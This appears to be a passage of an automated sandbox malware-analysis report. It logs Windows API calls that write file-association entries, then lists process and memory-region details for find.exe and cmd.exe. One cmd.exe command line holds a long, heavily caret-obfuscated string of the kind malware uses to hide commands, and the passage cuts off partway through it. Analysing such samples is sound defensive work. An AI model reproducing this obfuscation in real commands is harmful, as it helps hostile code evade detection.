	[0056.833] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.833] GetFileType (hFile=0x5c) returned 0x3
	[0056.833] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="regedit=regedit.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="regedit=regedit.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 27
	[0056.833] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x1a, lpOverlapped=0x0) returned 1
	[0056.833] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.833] GetFileType (hFile=0x5c) returned 0x3
	[0056.833] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="regfile=regedit.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="regfile=regedit.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 27
	[0056.833] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x1a, lpOverlapped=0x0) returned 1
	[0056.833] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.833] GetFileType (hFile=0x5c) returned 0x3
	[0056.833] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="RemoteAssistance.1=\"%systemRoot%\\system32\\msra.exe\" -openfile \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RemoteAssistance.1=\"%systemRoot%\\system32\\msra.exe\" -openfile \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 69
	[0056.833] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x44, lpOverlapped=0x0) returned 1
	[0056.834] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.834] GetFileType (hFile=0x5c) returned 0x3
	[0056.834] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="rlefile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rlefile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 51
	[0056.834] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x32, lpOverlapped=0x0) returned 1
	[0056.834] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.834] GetFileType (hFile=0x5c) returned 0x3
	[0056.834] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="rlogin=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rlogin=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", lpUsedDefaultChar=0x0) returned 99
	[0056.834] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x62, lpOverlapped=0x0) returned 1
	[0056.835] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.835] GetFileType (hFile=0x5c) returned 0x3
	[0056.835] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="rtffile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtffile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67
	[0056.835] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x42, lpOverlapped=0x0) returned 1
	[0056.836] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.836] GetFileType (hFile=0x5c) returned 0x3
	[0056.836] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SavedDsQuery=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\dsquery.dll,OpenSavedDsQuery %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SavedDsQuery=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\dsquery.dll,OpenSavedDsQuery %1\r\n", lpUsedDefaultChar=0x0) returned 104
	[0056.836] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x67, lpOverlapped=0x0) returned 1
	[0056.836] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.836] GetFileType (hFile=0x5c) returned 0x3
	[0056.837] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="scrfile=\"%1\" /S\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scrfile=\"%1\" /S\r\n", lpUsedDefaultChar=0x0) returned 18
	[0056.837] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x11, lpOverlapped=0x0) returned 1
	[0056.837] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.837] GetFileType (hFile=0x5c) returned 0x3
	[0056.837] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="scriptletfile=\"C:\\Windows\\system32\\NOTEPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scriptletfile=\"C:\\Windows\\system32\\NOTEPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 55
	[0056.837] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x36, lpOverlapped=0x0) returned 1
	[0056.838] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.838] GetFileType (hFile=0x5c) returned 0x3
	[0056.838] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="search=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 59
	[0056.838] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3a, lpOverlapped=0x0) returned 1
	[0056.838] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.838] GetFileType (hFile=0x5c) returned 0x3
	[0056.838] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 62
	[0056.838] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3d, lpOverlapped=0x0) returned 1
	[0056.839] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.839] GetFileType (hFile=0x5c) returned 0x3
	[0056.839] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.839] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SHCmdFile=%SystemRoot%\\explorer.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SHCmdFile=%SystemRoot%\\explorer.exe\r\n", lpUsedDefaultChar=0x0) returned 38
	[0056.839] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x25, lpOverlapped=0x0) returned 1
	[0056.841] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.841] GetFileType (hFile=0x5c) returned 0x3
	[0056.841] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sip=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sip=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68
	[0056.841] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x43, lpOverlapped=0x0) returned 1
	[0056.841] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.841] GetFileType (hFile=0x5c) returned 0x3
	[0056.841] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sips=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sips=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 69
	[0056.841] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x44, lpOverlapped=0x0) returned 1
	[0056.855] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0
	[0056.855] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.855] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0056.855] _get_osfhandle (_FileHandle=0) returned 0x3
	[0056.855] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0056.855] SetConsoleInputExeNameW () returned 0x1
	[0056.855] GetConsoleOutputCP () returned 0x1b5
	[0056.856] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.856] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0056.856] exit (_Code=0) 

Process:
	id = "6"
	image_name = "find.exe"
	filename = "c:\\windows\\system32\\find.exe"
	page_root = "0x4e6a9000"
	os_pid = "0xb48"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0xb38"
	cmd_line = "fINd  \"SHCm\" "
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1056
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1057
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1058
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1059
	        start_va = 0x90000
	          end_va = 0x10ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 1060
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1061
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1062
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1063
	        start_va = 0xff390000
	          end_va = 0xff397fff
	     entry_point = 0xff390000
	     region_type = mapped_file
	            name = "find.exe"
	        filename = "\\Windows\\System32\\find.exe" (normalized: "c:\\windows\\system32\\find.exe")

Region:
	              id = 1064
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1065
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1066
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 1067
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1068
	        start_va = 0x130000
	          end_va = 0x22ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 1069
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1070
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1071
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1072
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1073
	        start_va = 0x50000
	          end_va = 0x56fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1074
	        start_va = 0x60000
	          end_va = 0x61fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1075
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x70000
	     region_type = mapped_file
	            name = "find.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\find.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\find.exe.mui")

Region:
	              id = 1076
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000080000"
	        filename = ""

Region:
	              id = 1077
	        start_va = 0x110000
	          end_va = 0x110fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 1078
	        start_va = 0x230000
	          end_va = 0x296fff
	     entry_point = 0x230000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1079
	        start_va = 0x2a0000
	          end_va = 0x39ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002a0000"
	        filename = ""

Region:
	              id = 1080
	        start_va = 0x400000
	          end_va = 0x40ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000400000"
	        filename = ""

Region:
	              id = 1081
	        start_va = 0x410000
	          end_va = 0x597fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000410000"
	        filename = ""

Region:
	              id = 1082
	        start_va = 0x5a0000
	          end_va = 0x720fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005a0000"
	        filename = ""

Region:
	              id = 1083
	        start_va = 0x730000
	          end_va = 0x1b2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000730000"
	        filename = ""

Region:
	              id = 1084
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1085
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1086
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1087
	        start_va = 0x7fee69a0000
	          end_va = 0x7fee69c7fff
	     entry_point = 0x7fee69a0000
	     region_type = mapped_file
	            name = "ulib.dll"
	        filename = "\\Windows\\System32\\ulib.dll" (normalized: "c:\\windows\\system32\\ulib.dll")

Region:
	              id = 1088
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1089
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1090
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1091
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1092
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1093
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1094
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1095
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1096
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")


Thread:
	id = 93
	os_tid = 0xb4c


Process:
	id = "7"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x4d804000"
	os_pid = "0xb50"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "3"
	os_parent_pid = "0xb1c"
	cmd_line = "Cmd ,  ;  ; ; pPuxarv/VCsv40blbkn   ,  cw8f/r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ 